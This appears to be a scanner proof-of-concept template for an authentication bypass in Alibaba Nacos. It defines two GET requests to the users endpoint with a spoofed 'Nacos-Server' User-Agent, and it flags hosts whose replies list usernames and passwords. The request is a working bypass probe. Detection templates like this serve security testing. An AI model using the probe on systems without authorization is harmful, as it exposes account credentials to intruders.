nacos-user-list-unauthorized: Alibaba Nacos V1 Auth Bypass

id: nacos-user-list-unauthorized

info:
  name: Alibaba Nacos V1 Auth Bypass
  author: kmahyyg
  severity: high
  verified: true
  description: |-
    fofa app="NACOS"
  tags: alibaba,nacos,unauth
  created: 2023/07/07

rules:
  r0:
    request:
      method: GET
      path: /nacos/v1/auth/users?pageNo=1&pageSize=9
      headers:
        User-Agent: Nacos-Server
    expression: response.status == 200 && response.headers["content-type"].contains("application/json") && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":')
  r1:
    request:
      method: GET
      path: /v1/auth/users?pageNo=1&pageSize=9
      headers:
        User-Agent: Nacos-Server
    expression: response.status == 200 && response.headers["content-type"].contains("application/json") && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":')
expression: r0() || r1()